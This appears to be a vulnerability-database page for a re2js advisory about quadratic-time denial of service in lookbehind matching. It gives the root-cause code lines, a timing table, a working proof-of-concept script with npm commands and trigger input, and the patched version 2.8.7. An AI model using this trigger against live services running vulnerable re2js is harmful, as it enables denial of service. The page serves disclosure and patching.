CVE-2026-116795High· 7.5▾ TwilightRE2JS: Quadratic-time denial of service in re2js lookbehind matching
▾ Twilight zone — High severity, or a signal on a lesser flaw
impact 41.3 · likelihood 0 · exploitation 0
Need a working PoC? Pro members can cast a request and our team develops one — it lands right here.
Exploit-prediction probability, daily snapshots since Oct 29.
Disclosure to exploitation, from the record and what we observed since indexing it.
Disclosed via GHSA
0.5%
Using the opt-in LOOKBEHINDS flag together with any repeated-matching API
(matcher().find() in a loop, matchAll(), split(), matcher().replaceAll())
causes quadratic-time (Θ(n²)) matching, contradicting the library's own
"linear time matching" guarantee. A single call with a 16,000-character input
takes 36.7–38.7 seconds of CPU.
In build/index.cjs, Machine.match:
let currentPos = this.prog.numLb > 0 ? 0 : pos; // ~line 1907
...
if (this.ncap === 0 && this.matched) break; // ~line 1953
Any pattern containing a lookbehind sets prog.numLb > 0, which forces the
scan to always restart at offset 0, regardless of the requested start
position — the lookbehind automaton is re-seeded and the whole input is
re-walked on every single find() call. The early-exit optimization that
would otherwise stop at the first match only fires when ncap === 0, but
every Matcher-based API (find/matchAll/split/replaceAll) always
requests ncap = 2 (one capture group slot) even for a captureless
lookbehind pattern — so the early exit never triggers through those APIs,
and the scan continues to the end of the input on every find.
A find-loop over k matches in an n-character string therefore costs k × Θ(n); for dense matches k ∝ n, giving Θ(n²) total.
Identical find-loop, identical input sizes, same 2-character literal pattern
shape — but without the LOOKBEHINDS flag:
| n | with LOOKBEHINDS (lookbehind pattern) | without (plain literal) | native JS RegExp lookbehind |
|---|---|---|---|
| 2,000 | 204–228 ms | 3 ms | 0 ms |
| 4,000 | 877–899 ms | 4 ms | 0 ms |
| 8,000 | 5,746–6,599 ms | 7 ms | 1 ms |
| 16,000 | 36,667–38,732 ms | 6 ms | 1 ms |
This isolates the lookbehind machinery itself — not pattern length, not match density in the abstract — as the exact and sole cause.
re2js's entire value proposition is being an RE2-style engine with
linear-time, no-backtracking matching, specifically to resist
algorithmic-complexity attacks that plague backtracking regex engines.
This finding defeats that guarantee for any consumer using the advertised
LOOKBEHINDS feature.matchAll, split,
replaceAll are the natural APIs for exactly this), applied to
attacker-influenced text (user input, uploaded logs, scraped content)."abababab...") triggers it.create file poc.js
'use strict';
// PoC: quadratic-time DoS in re2js's lookbehind matching (opt-in LOOKBEHINDS flag).
// Usage:
// npm pack [email protected] --ignore-scripts && tar -xzf re2js-2.8.6.tgz
// node poc.js ./package
const path = require('path');
const pkgDir = process.argv[2] || './package';
const { RE2JS } = require(path.resolve(pkgDir, 'build/index.cjs'));
const re = RE2JS.compile('(?<=a)b', RE2JS.LOOKBEHINDS);
function timeFindLoop(n) {
const s = 'ab'.repeat(n / 2);
const t0 = Date.now();
const m = re.matcher(s);
let count = 0;
while (m.find()) count++;
return { ms: Date.now() - t0, count };
}
console.log('n, matches, ms');
const sizes = [2000, 4000, 8000, 16000];
const results = [];
for (const n of sizes) {
const r = timeFindLoop(n);
results.push(r.ms);
console.log(`${n}, ${r.count}, ${r.ms}`);
}
const ratio = results[results.length - 1] / results[results.length - 2];
console.log('');
console.log('time ratio for the last doubling of n:', ratio.toFixed(2), '(~2 => linear, ~4 => quadratic)');
console.log(ratio > 3 ? 'PASS quadratic scaling confirmed on the REAL published package' : 'FAIL scaling looks linear');
process.exit(ratio > 3 ? 0 : 1);
and run in terminal
npm pack [email protected] --ignore-scripts
tar -xzf re2js-2.8.6.tgz
node poc.js ./package
poc.js times a matcher(s).find() loop over (?<=a)b +
RE2JS.LOOKBEHINDS on inputs of 2,000/4,000/8,000/16,000 chars and reports
the doubling ratio. Expected: clearly superlinear (ratio ≫ 2, approaching or
exceeding the 4× quadratic signature), reaching tens of seconds at 16,000
chars. Run twice; results are deterministic.
re2js >= 2.2.0, < 2.8.7Upgrade to a patched release:
re2js 2.8.7Connected by shared product, vendor, weakness, or advisory.
CVE-2026-111766Low· 3.7markdown-it: Quadratic-time denial of service in inline HTML parsing with html enabled
CVE-2026-90776High· 7.5Nodemailer versions 9.1.0 through 10.0.4 contain a quadratic time complexity vulnerability in the addressparser component when parsing email addresses with RFC 5322 comments
CVE-2026-84008High· 7.5Inefficient algorithmic complexity in .NET allows an unauthorized attacker to deny service over a network.
CVE-2026-107290Medium· 6.5Pydantic AI is a Python agent framework for building applications and workflows with Generative AI
CVE-2026-96292High· 8.2Inefficient regular expression complexity, Inefficient Algorithmic Complexity vulnerability in Apache Thrift Lua bindings. This issue affects Apache Thrift: before 0.25.0. Users are recommended to upgrade to version 0.25.0, which f…
GHSA-v53p-9fqp-m79jHigh· 7.5Nodemailer: Quadratic backtracking in the addressparser free-text fallback allows remote denial of service